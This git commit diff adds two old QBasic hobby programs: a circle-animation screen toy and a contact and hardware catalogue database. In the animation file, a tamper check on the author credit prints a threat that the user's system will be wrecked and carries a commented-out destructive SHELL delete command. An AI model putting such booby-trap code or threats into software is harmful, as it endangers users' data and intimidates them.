commit 474d98379ef64d5900af360ac2920c6d209cae43 Author: jdg Date: Fri Sep 3 17:42:07 2021 +0200 First commit ~0,10 diff --git a/BAS/3.BAS b/BAS/3.BAS new file mode 100644 index 0000000..6c7b9ca --- /dev/null +++ b/BAS/3.BAS @@ -0,0 +1,210 @@ +'Generador de un reloj digital en pantalla' +DEFINT A-Z + +DIM SHARED P(6), A, veces +DIM OldX1(130), OldY1(130), OldX2(130), OldY2(130), OldX3(130), OldY3(130), OldX4(130), OldY4(130), OldX5(130), OldY5(130), OldTipo(100), OldX6(100), OldY6(100), Pt(16) +RANDOMIZE TIMER + +X(1) = 400: Y(1) = 175 +X(2) = 400: Y(2) = 175 +X(3) = 400: Y(3) = 175 +X(4) = 400: Y(4) = 175 +X(5) = 400: Y(5) = 175 +X(6) = 400: Y(5) = 175 + +Pt(1) = 1 +Pt(2) = 1 +Pt(3) = 1 +Pt(4) = 1 +Pt(5) = 1 +Pt(6) = 1 + +mir$ = "Lineas ( Jos‚ David Guill‚n 15/04/94 )" +IF MID$(mir$, 13, 1) <> "‚" THEN PRINT " Programa modificado 1": GOTO errormo +IF MID$(mir$, 26, 1) <> "‚" THEN PRINT " Programa modificado 2": GOTO errormo + +P(1) = 0 +P(2) = 80 +P(3) = 200 +P(4) = 280 + +P(5) = 400 +P(6) = 440 + +P(1) = 0 +P(2) = 75 +P(3) = 195 +P(4) = 275 + +P(5) = 395 +P(6) = 435 + + +SCREEN 9 + +'*************************************************** +'* GRAFICO LINEAL ********************************** +'*************************************************** +Coor = 1 + +DO +salida = 0 + +'IF Pt(4) = 1 THEN M(4) = INT(RND * 8) + 1 +IF Pt(3) = 1 THEN M(3) = INT(RND * 8) + 1 +IF Pt(2) = 1 THEN M(2) = INT(RND * 8) + 1 +IF Pt(5) = 1 THEN M(5) = INT(RND * 8) + 1 +IF Pt(6) = 1 THEN M(5) = INT(RND * 8) + 1 +IF Pt(1) = 1 THEN M(1) = INT(RND * 8) + 1 +Pt(1) = 0 +Pt(2) = 0 +Pt(3) = 0 +Pt(4) = 0 +Pt(5) = 0 +Pt(6) = 0 + + +qwert = qwert + 1 +IF qwert = 7 THEN qwert = 1 +IF Cont = 1 THEN M(6) = INT(RND * 7) + 1: M(6) = M(qwert) + +DO + +Vez = Vez + 1 +Vz = Vz + 1 + +IF Vz >= 30 THEN Vz = 1 + +IF Vez >= 30 THEN Vez = 1 + +FOR Coor = 1 TO 6 + +SELECT CASE M(Coor) + CASE 1: IF Coor <> 6 THEN X(Coor) = X(Coor) - 1: Y(Coor) = Y(Coor) - 1 ELSE X(Coor) = X(Coor) - 1: Y(Coor) = Y(Coor) - 1 + CASE 2: IF Coor <> 6 THEN Y(Coor) = Y(Coor) - 1 ELSE Y(Coor) = Y(Coor) - 1 + CASE 3: IF Coor <> 6 THEN X(Coor) = X(Coor) + 1: Y(Coor) = Y(Coor) - 1 ELSE X(Coor) = X(Coor) + 1: Y(Coor) = Y(Coor) - 1 + CASE 4: IF Coor <> 6 THEN X(Coor) = X(Coor) - 1 ELSE X(Coor) = X(Coor) - 1 + CASE 5: M(Coor) = INT(RND * 8) + 1 + CASE 6: IF Coor <> 6 THEN Y(Coor) = Y(Coor) + 1 ELSE Y(Coor) = Y(Coor) + 1 + CASE 7: IF Coor <> 6 THEN X(Coor) = X(Coor) - 1: Y(Coor) = Y(Coor) + 1 ELSE X(Coor) = X(Coor) - 1: Y(Coor) = Y(Coor) + 1 + CASE 8: IF Coor <> 6 THEN X(Coor) = X(Coor) + 1 ELSE X(Coor) = X(Coor) + 1 + CASE 9: IF Coor <> 6 THEN X(Coor) = X(Coor) + 1: Y(Coor) = Y(Coor) + 1 ELSE X(Coor) = X(Coor) + 1: Y(Coor) = Y(Coor) + 1 +END SELECT +Cont = 0 + + IF X(Coor) >= 640 THEN + X(Coor) = 640: M(Coor) = INT(RND * 11) - 2 + END IF + IF X(Coor) <= 0 THEN + X(Coor) = 0: M(Coor) = INT(RND * 8) + 1 + END IF + IF Y(Coor) >= 350 THEN + Y(Coor) = 350: M(Coor) = INT(RND * 10) - 1 + END IF + IF Y(Coor) <= 0 THEN + Y(Coor) = 0: M(Coor) = INT(RND * 10) - 1 + END IF + +OldX1(1) = X(1) +OldX2(1) = X(2) +OldX3(1) = X(3) + +OldX4(1) = X(4) +OldX5(1) = X(5) +OldX6(1) = X(6) +OldY1(1) = Y(1) +OldY2(1) = Y(2) +OldY3(1) = Y(3) + +OldY4(1) = Y(4) +OldY5(1) = Y(5) +OldY6(1) = Y(6) +NEXT + +IF RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "5" THEN Vez1 = Vez1 + 1 +IF Vez1 >= 16 THEN Vez1 = 1 + + +IF RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 2))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 5))), 1) = "5" THEN Vz1 = Vz1 + 1 +IF Vz1 >= 16 THEN Vz1 = 1 + + +'LINE (X(1), Y(1))-(X(2), Y(2)), Vez1 +'LINE (X(2), Y(2))-(X(3), Y(3)), Vez1 +'LINE (X(3), Y(3))-(X(4), Y(4)), Vez1 +' +'LINE (X(4), Y(4))-(X(5), Y(5)), Vez1 +'LINE (X(5), Y(5))-(X(1), Y(1)), Vez1 + +CIRCLE (X(1), Y(1)), 5, Vz1: ', , , Tipo +CIRCLE (X(2), Y(2)), 5, Vz1: ', , , Tipo +CIRCLE (X(3), Y(3)), 5, Vz1: ', , , Tipo +CIRCLE (X(4), Y(4)), 5, Vz1: ', , , Tipo +CIRCLE (X(5), Y(5)), 5, Vz1: ', , , Tipo +CIRCLE (X(6), Y(6)), 5, Vz1: ', , , Tipo + + d = 70 + A = d + 1 + + WHILE A >= 2 + A = A - 1 + OldX1(A) = OldX1(A - 1) + OldY1(A) = OldY1(A - 1) + OldX2(A) = OldX2(A - 1) + OldY2(A) = OldY2(A - 1) + OldX3(A) = OldX3(A - 1) + OldY3(A) = OldY3(A - 1) + OldX4(A) = OldX4(A - 1) + OldY4(A) = OldY4(A - 1) + OldX5(A) = OldX5(A - 1) + OldY5(A) = OldY5(A - 1) + OldX6(A) = OldX6(A - 1) + OldY6(A) = OldY6(A - 1) + + OldTipo(A) = OldTipo(A - 1) + WEND + +CIRCLE (OldX1(d), OldY1(d)), 5, 0 +CIRCLE (OldX2(d), OldY2(d)), 5, 0 +CIRCLE (OldX3(d), OldY3(d)), 5, 0 +CIRCLE (OldX4(d), OldY4(d)), 5, 0 +CIRCLE (OldX5(d), OldY5(d)), 5, 0 +CIRCLE (OldX6(d), OldY6(d)), 5, 0 + ' + ' + ' + ' LINE (OldX1(d), OldY1(d))-(OldX2(d), OldY2(d)), 0 + ' LINE (OldX2(d), OldY2(d))-(OldX3(d), OldY3(d)), 0 + ' LINE (OldX3(d), OldY3(d))-(OldX4(d), OldY4(d)), 0 + ' + ' LINE (OldX4(d), OldY4(d))-(OldX5(d), OldY5(d)), 0 + ' LINE (OldX5(d), OldY5(d))-(OldX1(d), OldY1(d)), 0 + +LOOP WHILE salida <> 1 + +salida = 0 + +LOOP + + + +'*************************************************** +'* GRAFICOS DE PRUEBA ****************************** +'*************************************************** + +errormo: +CLS +COLOR 15, 0 +PRINT " ATENCION !!! PELIGRO !!!!": PRINT : PRINT +PRINT " Alguien modifico ilegalmente el programa tratando de apropiarse de": PRINT +PRINT " los creditos ajenos a ‚l. Su autor a protegido el sistema por ello": PRINT +PRINT " ya que ha intentado modificar este programa causara estragos en tu": PRINT +PRINT " sistema.... LA PIRATERIA SERA TU MUERTE ": PRINT +PRINT : PRINT : PRINT " Desea regresar al Sistema Operativo DOS o bloquear sistema : " +PRINT " (S)istema (B)loquear (S/B)" +'SHELL "Del. >nul" +SYSTEM +END + +grap: + diff --git a/BAS/BD.BAS b/BAS/BD.BAS new file mode 100644 index 0000000..032f2a6 --- /dev/null +++ b/BAS/BD.BAS @@ -0,0 +1,548 @@ +REM Versi¢n 3.0 en Qbasic de Catalogo (c) + + +principiodelprincipio: + +ON ERROR GOTO corrector +KEY OFF +pp: +CLEAR +DIM lec$(12), lot$(12), t$(50), fet$(50), a$(50), tele$(50) +KEY(1) ON +KEY(2) ON +KEY(3) ON +ON KEY(1) GOSUB help +ON KEY(2) GOSUB impr +ON KEY(3) GOSUB finp +CLS +GOSUB menu1 +GOSUB cargachar +COLOR 1, 7 +l = 1 +GOSUB secuencia + +espera: +KEY(11) ON +KEY(14) ON +ON KEY(11) GOSUB sube +ON KEY(14) GOSUB baja +espera3: +i$ = INKEY$ +IF i$ = "" THEN GOTO espera3 +IF i$ = CHR$(13) THEN GOTO ejecuta +IF i$ = CHR$(27) THEN GOSUB help +GOTO espera3 + +sube: +ant = l +IF l = 1 THEN l = 5 ELSE l = l - 1 +GOSUB secuencia +RETURN + +baja: +ant = l +IF l = 6 THEN l = 1 ELSE l = l + 1 +GOSUB secuencia +RETURN + +secuencia: +IF l = -1 THEN l = 5 +IF l = 6 THEN l = 1 +IF ant = 0 THEN ant = 1 +COLOR 7, 1, 1 +LOCATE 2 * ant, 2: PRINT lot$(ant) +COLOR 4, 7 +LOCATE 2 * l, 2: PRINT lec$(l): RETURN +END + +ejecuta: +KEY(11) OFF +KEY(14) OFF +KEY(2) OFF +KEY(1) OFF +COLOR 7, 1, 1 +ON l GOTO ip, mp, sp, bp, c +END + +ip: +entrada = 0: jk = 0 +nom$ = "": ape$ = "": cal$ = "": num$ = "": pis$ = "": let$ = "": tel$ = "" +GOSUB menu2 + +OPEN "fich1.dat" FOR RANDOM AS #1 LEN = 70 + FOR x = 1 TO LOF(1) / 70 + jk = jk + 1 + FIELD #1, 21 AS nom$, 31 AS ape$, 18 AS tel$ + GET #1, x + IF nom$ = " " THEN entrada = jk: GOTO ent + NEXT x + +entrada = jk + 1 + +ent: +CLOSE #1 + +IF entrada = 0 THEN entrada = 1 +LOCATE 12, 47: PRINT entrada +pieza = 0 + +empi: +a$ = "": b$ = "": c$ = "": d$ = "" +IF pieza <> 3 THEN LOCATE 12, 55: PRINT STRING$(22, " ") +lon = 21: lin = 14: col = 11: tipo$ = " ..z": origen$ = nom$: GOSUB limlin: nom$ = texto$ +IF nom$ <> " " AND pieza = 3 THEN a$ = nom$: k = 1: RETURN +IF pieza = 3 THEN GOTO saltito +IF nom$ = " " THEN GOTO principiodelprincipio +saltito: +lon = 31: lin = 14: col = 45: tipo$ = " ..z": origen$ = ape$: GOSUB limlin: ape$ = texto$ +IF ape$ <> " " AND pieza = 3 THEN b$ = ape$: k = 2: RETURN +IF pieza = 3 THEN GOTO salto +lon = 21: lin = 16: col = 11: tipo$ = " ..z": origen$ = cal$: GOSUB limlin: cal$ = texto$ +lon = 4: lin = 16: col = 38: tipo$ = "0..9": origen$ = num$: GOSUB limlin: num$ = texto$ +lon = 3: lin = 16: col = 50: tipo$ = " ..z": origen$ = pis$: GOSUB limlin: pis$ = texto$ +lon = 4: lin = 16: col = 62: tipo$ = " ..z": origen$ = let$: GOSUB limlin: let$ = texto$ +salto: +lon = 18: lin = 18: col = 14: tipo$ = " ..z": origen$ = loc$: GOSUB limlin: loc$ = texto$ +IF loc$ <> " " AND pieza = 3 THEN c$ = loc$: k = 3: RETURN +lon = 14: lin = 18: col = 45: tipo$ = " ..z": origen$ = pro$: GOSUB limlin: pro$ = texto$ +IF pro$ <> " " AND pieza = 3 THEN d$ = pro$: k = 4: RETURN +IF pieza = 3 THEN pieza = 0: RETURN +lon = 11: lin = 18: col = 66: tipo$ = "0..9": origen$ = cod$: GOSUB limlin: cod$ = texto$ +lon = 18: lin = 20: col = 14: tipo$ = " ..z": origen$ = tel$: GOSUB limlin: tel$ = texto$ +lon = 12: lin = 22: col = 20: tipo$ = " ..z": origen$ = cpu$: GOSUB limlin: cpu$ = texto$ +lon = 6: lin = 22: col = 39: tipo$ = " ..z": origen$ = ram$: GOSUB limlin: ram$ = texto$ +lon = 8: lin = 22: col = 51: tipo$ = " ..z": origen$ = tg$: GOSUB limlin: tg$ = texto$ +lon = 12: lin = 22: col = 66: tipo$ = " ..z": origen$ = hd$: GOSUB limlin: hd$ = texto$ +LOCATE 12, 60: PRINT "¨Todo correcto?" + +pr: +i$ = INKEY$ +IF i$ = "" THEN GOTO pr +IF i$ = "S" OR i$ = "s" THEN GOTO cont ELSE GOTO empi + +cont: + +OPEN "fich1.dat" FOR RANDOM AS #1 LEN = 70 + FIELD #1, 21 AS nom2$, 31 AS ape2$, 18 AS TEL2$ + LSET nom2$ = nom$: LSET ape2$ = ape$: LSET TEL2$ = tel$ + IF valor = 3 THEN PUT #1, lf ELSE PUT #1, entrada +CLOSE #1 + +OPEN "fich2.dat" FOR RANDOM AS #1 LEN = 75 + FIELD #1, 21 AS cal2$, 4 AS NUM2$, 3 AS PIS2$, 4 AS LET2$, 18 AS loc2$, 14 AS pro2$, 11 AS cod2$ + LSET cal2$ = cal$: LSET NUM2$ = num$: LSET PIS2$ = pis$: LSET LET2$ = let$: LSET loc2$ = loc$: LSET pro2$ = pro$: LSET cod2$ = cod$ + IF valor = 3 THEN PUT #1, lf ELSE PUT #1, entrada +CLOSE #1 + +OPEN "fich3.dat" FOR RANDOM AS #1 LEN = 38 + FIELD #1, 12 AS cpu2$, 6 AS ram2$, 8 AS tg2$, 12 AS hd2$ + LSET cpu2$ = cpu$: LSET ram2$ = ram$: LSET tg2$ = tg$: LSET hd2$ = hd$ + IF valor = 3 THEN PUT #1, lf ELSE PUT #1, entrada +CLOSE #1 + +IF valor = 3 THEN RETURN +LOCATE 12, 55: PRINT "¨Seguir introduciendo?" +we: +i$ = INKEY$ +IF i$ = "" THEN GOTO we +IF i$ = "S" OR i$ = "s" THEN GOTO ip ELSE GOTO principiodelprincipio + + + +ep: +GOSUB menu2 +LOCATE 12, 34: PRINT "Utilice + y - para ver las fichas" +k = 0 + +mirp: +lf = 0 +CLOSE #1, #2, #3 +OPEN "fich1.dat" FOR RANDOM AS #1 LEN = 70 +OPEN "fich2.dat" FOR RANDOM AS #2 LEN = 75 +OPEN "fich3.dat" FOR RANDOM AS #3 LEN = 38 + +lf = 0 +'DO WHILE lf <> LOF(1) / 70 + 1 +vez = 1 +DO +pro: +COLOR 7, 1, 1: LOCATE 12, 75: PRINT " " + IF lf = 0 THEN lf = 1 + + + FIELD #1, 21 AS nom$, 31 AS ape$, 18 AS tel$ + FIELD #2, 21 AS cal$, 4 AS num$, 3 AS pis$, 4 AS let$, 18 AS loc$, 14 AS pro$, 11 AS cod$ + FIELD #3, 12 AS cpu$, 6 AS ram$, 8 AS tg$, 12 AS hd$ + + GET #1, lf + GET #2, lf + GET #3, lf + + +g = 0 +IF k = 1 AND UCASE$(RTRIM$(LTRIM$(a$))) <> UCASE$(MID$(nom$, 1, LEN(RTRIM$(LTRIM$(a$))))) THEN GOSUB pw +IF k = 2 AND UCASE$(RTRIM$(LTRIM$(b$))) <> UCASE$(MID$(ape$, 1, LEN(RTRIM$(LTRIM$(b$))))) THEN GOSUB pw +IF k = 3 AND UCASE$(RTRIM$(LTRIM$(c$))) <> UCASE$(MID$(loc$, 1, LEN(RTRIM$(LTRIM$(c$))))) THEN GOSUB pw +IF k = 4 AND UCASE$(RTRIM$(LTRIM$(d$))) <> UCASE$(MID$(pro$, 1, LEN(RTRIM$(LTRIM$(d$))))) THEN GOSUB pw +IF g = 1 THEN GOTO pro + +IF nom$ = " " AND r = 0 THEN lf = lf + 1: GOTO pro +IF nom$ = " " AND r = 1 THEN lf = lf - 1: GOTO pro + + +vez = 0 +COLOR 14 +LOCATE 14, 11: PRINT nom$ +LOCATE 14, 45: PRINT ape$ +LOCATE 16, 11: PRINT cal$ +LOCATE 16, 38: PRINT num$ +LOCATE 16, 50: PRINT pis$ +LOCATE 16, 62: PRINT let$ +LOCATE 18, 14: PRINT loc$ +LOCATE 18, 45: PRINT pro$ +LOCATE 18, 66: PRINT cod$ +LOCATE 20, 14: PRINT tel$ +LOCATE 22, 20: PRINT cpu$ +LOCATE 22, 39: PRINT ram$ +LOCATE 22, 51: PRINT tg$ +LOCATE 22, 66: PRINT hd$ +COLOR 7, 1, 1 +nom$ = nom$: ape$ = ape$: cal$ = cal$: num$ = num$: pis$ = pis$: let$ = let$: loc$ = loc$: pro$ = pro$ +cod$ = cod$: tel$ = tel$: cpu$ = cpu$: ram$ = ram$: tg$ = tg$: hd$ = hd$ + +tipo = 0 + +COLOR 5, 1, 1: LOCATE 12, 75: PRINT "+ -": COLOR 7, 1, 1 + +t: + w$ = INKEY$: IF w$ = "" THEN GOTO t + IF w$ = "+" THEN lf = lf + 1: r = 0 + IF w$ = "-" THEN lf = lf - 1: r = 1 + IF w$ = CHR$(27) THEN GOTO principiodelprincipio + IF w$ = CHR$(13) AND valor = 3 THEN CLOSE #1, #2, #3: RETURN + IF w$ = CHR$(13) AND valor = 2 THEN CLOSE #1, #2, #3: RETURN + + IF lf > LOF(1) / 70 THEN lf = lf - 1: GOTO t + IF lf = 0 OR lf = -1 THEN lf = 1: GOTO t + IF tipo = 1 THEN GOTO pro + +LOOP + +CLOSE #1, #2, #3 + +END + +pw: +IF vez = 1 AND r = 0 THEN lf = lf + 1: g = 1 +IF vez = 1 AND r = 1 THEN lf = lf - 1: g = 1 +IF g = 0 AND r = 0 THEN lf = lf + 1 +IF g = 0 AND r = 1 THEN lf = lf - 1 + + + IF lf > LOF(1) / 70 AND vez = 1 THEN GOTO filenotfound + IF lf > LOF(1) / 70 THEN lf = lf - 1: GOTO t + IF lf = 0 OR lf = -1 THEN lf = 1: GOTO t +'IF r = 0 THEN lf = lf + 1 +'IF r = 1 THEN lf = lf - 1 +tipo = 1 +g = 1 + +RETURN +END + +mp: +valor = 0 +GOSUB menu2 +valor = 3 +LOCATE 12, 34: PRINT "Use + o - y <ÄÙ para editar ficha " +GOSUB mirp + +GOSUB empi +LOCATE 12, 34: PRINT "¨Desea modificar otra ficha? " +r: +i$ = INKEY$: IF i$ = "" THEN GOTO r +IF i$ = "S" OR i$ = "s" THEN GOTO mp ELSE GOTO principiodelprincipio + + + +bp: +valor = 0 +GOSUB menu2 +valor = 3 +LOCATE 12, 34: PRINT "Use + o - y <ÄÙ para borrar ficha " +GOSUB mirp +nom$ = " ": ape$ = " ": cal$ = " ": num$ = " ": pis$ = " ": let$ = " ": loc$ = " ": pro$ = " " +cod$ = " ": tel$ = " ": cpu$ = " ": ram$ = " ": tg$ = " ": hd$ = " " +LOCATE 12, 34: PRINT "Pulse 'S' si desea eliminarla " +r3: +i$ = INKEY$: IF i$ = "" THEN GOTO r3 +IF i$ = "S" OR i$ = "s" THEN GOTO po ELSE GOTO principiodelprincipio + +po: +GOSUB cont +LOCATE 12, 34: PRINT "¨Desea eliminar otra ficha? " +r2: +i$ = INKEY$: IF i$ = "" THEN GOTO r2 +IF i$ = "S" OR i$ = "s" THEN GOTO bp ELSE GOTO principiodelprincipio + +finentrada: +END + +impr: +REM FICHERO PARA IMPRIMIR +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Esta usd. en la secci¢n de impresion." +LOCATE 15, 34: PRINT "Cerciorese de que la impresora este" +LOCATE 16, 34: PRINT "encendida y de que tenga papel." +LOCATE 18, 34: PRINT " Pulse una tecla..." +N: +q$ = INKEY$: IF q$ = "" THEN GOTO N +IF q$ = CHR$(27) THEN RUN +FOR a = 14 TO 18: LOCATE a, 34: PRINT STRING$(38, " "): NEXT +LOCATE 15, 20: PRINT "Elija modo de impresion:" +LOCATE 17, 25: PRINT "(a) Lista simple" +LOCATE 18, 25: PRINT "(b) Lista completa" +hn: +q$ = INKEY$: IF q$ = "" THEN GOTO hn +IF q$ = CHR$(27) THEN RUN +IF q$ = "A" OR q$ = "a" THEN GOTO ls +IF q$ = "B" OR q$ = "b" THEN GOTO lc +GOTO hn + + +ls: +OPEN "fich1.dat" FOR RANDOM AS #1 LEN = 70 + FOR x = 1 TO LOF(1) / 70 + FIELD #1, 21 AS nom$, 31 AS ape$, 18 AS tel$ + GET #1, x + IF nom$ = " " THEN GOTO continua + LPRINT ape$ + ", " + nom$ + " " + tel$ + b = b + 1: IF b = 50 THEN GOSUB finlista +continua: + NEXT x +CLOSE #1 +RUN + +finlista: +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Cuando deje de imprimir ponga papel" +LOCATE 15, 34: PRINT " Pulse entonces una tecla para " +LOCATE 16, 34: PRINT " continuar listando." +COLOR 7, 1, 1 +m: +IF INKEY$ = "" THEN GOTO m +LOCATE 14, 34: PRINT " " +LOCATE 15, 34: PRINT " " +LOCATE 16, 34: PRINT " " +b = 0: RETURN + +lc: +valor = 2 +COLOR 7, 1, 1 +GOSUB menu2 +LOCATE 12, 34: PRINT "Seleccione ficha a imprimir... " +GOSUB mirp +LPRINT " Base de Datos, JD... vú1.0 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"; +LPRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³±"; +LPRINT "³ ³±"; +LPRINT "³ Nombre: " + nom$ + " Apellidos: " + ape$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Calle: " + cal$ + " N§: " + num$ + " Piso: " + pis$ + " Letra: " + let$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Localidad: " + loc$ + " Provincia: " + pro$ + " C.P: " + cod$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Tel‚fono: " + tel$ + " ³±"; +LPRINT "³ ³±"; +LPRINT "³ Ordenador, CPU: " + cpu$ + " RAM: " + ram$ + " TG: " + tg$ + " HD: " + hd$ + " ³±"; +LPRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±"; +LPRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +LOCATE 12, 34: PRINT "Cuando deje de imprimir, pulse una tecla" +SLEEP +RUN + + + +sp: +valor = 0: pieza = 3 +GOSUB menu2 +LOCATE 12, 34: PRINT "Introduzca parte a buscar... " +lili: +GOSUB empi +IF pieza = 0 THEN pieza = 3: GOTO lili +GOTO mirp +RUN + +filenotfound: +LOCATE 12, 34: COLOR 4, 1, 1: PRINT "Ficha no encontrada " +COLOR 7, 1, 1 +sl: IF INKEY$ = "" THEN GOTO sl + +GOTO sp + +END +c: +COLOR 7, 1, 1 +LOCATE 14, 33: PRINT " (c) B A S E de D A T O S " +LOCATE 16, 33: PRINT " Pantallas y programa ... " +COLOR 12 +LOCATE 18, 33: PRINT " Jos‚ David Guill‚n " +LOCATE 19, 33: PRINT " c/ Pintor Garcias Ramos n.5 2D " +COLOR 7, 1, 1 +LOCATE 21, 33: PRINT "Puede mandar un donativo de 10.000.000" +pause: +IF INKEY$ = "" THEN GOTO pause +FOR q = 14 TO 22: LOCATE q, 33: PRINT SPC(37); : NEXT q +GOTO principiodelprincipio +END + + + + +menu1: +COLOR 7, 1, 1 +CLS +PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÜ ßßßßßßßÛ ÛßßÜ ³ø Base de Datos ø³ "; +PRINT "³ Introducir Û Û Û ßÜ ³ø vú 1.0 ø³ "; +PRINT "³ Û Û Û ßÜ ³ø ø³ "; +PRINT "³ Editar / Modificar Û Û Û Û ³ø F1 Help ø³ "; +PRINT "³ Û Û Û Û Üß ³ø F2 Imprimir ø³ "; +PRINT "³ Buscar Û Û Û Û Üß Ü³ø F3 Exit to DOS ø³Ü "; +PRINT "³ Û ßÜÜÜÜß ÛÜÜß ÛÛ ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÜ"; +PRINT "³ Eliminar Û ÛÛÛÛonÛlineÛ°ÛlfÛ°ÛÛÛÛÛÛ"; +PRINT "³ Û Jos‚ David Guill‚n '93 ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ"; +PRINT "³ - Creditos - Û " +PRINT "ÀÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"; +PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³±"; +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "³ ³±" +PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±"; +PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +RETURN + +menu2: +LOCATE 11, 1 +PRINT "ÀÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"; +PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ N§ de Ficha: ³±"; +PRINT "³ ³±" +PRINT "³ Nombre: Apellidos: ³±" +PRINT "³ ³±" +PRINT "³ Calle: N§: Piso: Letra: ³±" +PRINT "³ ³±" +PRINT "³ Localidad: Provincia: C.P: ³±" +PRINT "³ ³±" +PRINT "³ Tel‚fono: ³±" +PRINT "³ ³±" +PRINT "³ Ordenador, CPU: RAM: TG: HD: ³±" +PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±"; +PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +RETURN + + +cargachar: +lec$(1) = "þ INTRODUCIR " +lec$(2) = "þ EDITAR / MODIFICAR " +lec$(3) = "þ BUSCAR " +lec$(4) = "þ ELIMINAR " +lec$(5) = "þ - CREDITOS - " +lot$(1) = " Introducir " +lot$(2) = " Editar / Modificar " +lot$(3) = " Buscar " +lot$(4) = " Eliminar " +lot$(5) = " - Creditos - " +RETURN +END + + +limlin: +'(LIM)ite -de- (LIN)ea +'Lon=longitud lin=linea col=columna tipo$=" ..z" + +LOCATE lin, col: PRINT origen$ +LOCATE lin, col: PRINT "þ" +FOR a = 1 TO lon + +x: +a$ = INKEY$: IF a$ = "" THEN GOTO x +IF a$ = CHR$(13) THEN GOTO finsec +IF a$ = CHR$(27) THEN GOTO principiodelprincipio +IF a$ = CHR$(8) THEN GOTO borra ELSE GOTO ponchar + +borra: +a = a - 1: IF a < 1 THEN a = 1 +LOCATE lin, col + a - 1: PRINT " ": LOCATE lin, col + a - 1: PRINT "þ ": GOTO x + +ponchar: +IF a$ < LEFT$(tipo$, 1) OR a$ > RIGHT$(tipo$, 1) THEN GOTO x +IF a = 1 THEN origen$ = STRING$(lon, " "): LOCATE lin, col: PRINT origen$ +LOCATE lin, col + a - 1: PRINT a$; : IF a <> lon THEN PRINT "þ" ELSE GOTO x +NEXT a + +finsec: +IF a = 1 THEN LOCATE lin, col: PRINT origen$ +texto$ = "" +FOR i = 1 TO lon +IF LEN(origen$) <> lon THEN digi$ = " " ELSE digi$ = MID$(origen$, i, 1) +IF CHR$(SCREEN(lin, col + i - 1)) = "þ" THEN texto$ = texto$ + digi$ ELSE texto$ = texto$ + CHR$(SCREEN(lin, col + i - 1)) +NEXT + +LOCATE lin, col: COLOR 1, 7: PRINT texto$: COLOR 7, 1, 1 +PLAY "b64": RETURN + + + + + +corrector: +IF ERR = 52 OR ERR = 53 THEN fallo = 1: GOTO contrif +IF ERR = 27 THEN GOTO nohaypapel +GOTO fallonoloc +contrif: +RESUME NEXT +END + +nohaypapel: +COLOR 14, 1, 1 +BEEP +LOCATE 13, 34: PRINT "No hay papel." +LOCATE 13, 34: PRINT " " +GOTO impr + +fallonoloc: +COLOR 15, 1, 1 +LOCATE 13, 33: PRINT "Fallo:", ERR; "RESET PROGRAM" +LOCATE 14, 33: PRINT "PULSE UNA TECLA: ..(JD).." +rti: +IF INKEY$ = "" THEN GOTO rti +RUN + +help: +COLOR 7, 1, 1 +LOCATE 14, 34: PRINT "Ayuda basica, JD." +LOCATE 16, 34: PRINT "Use 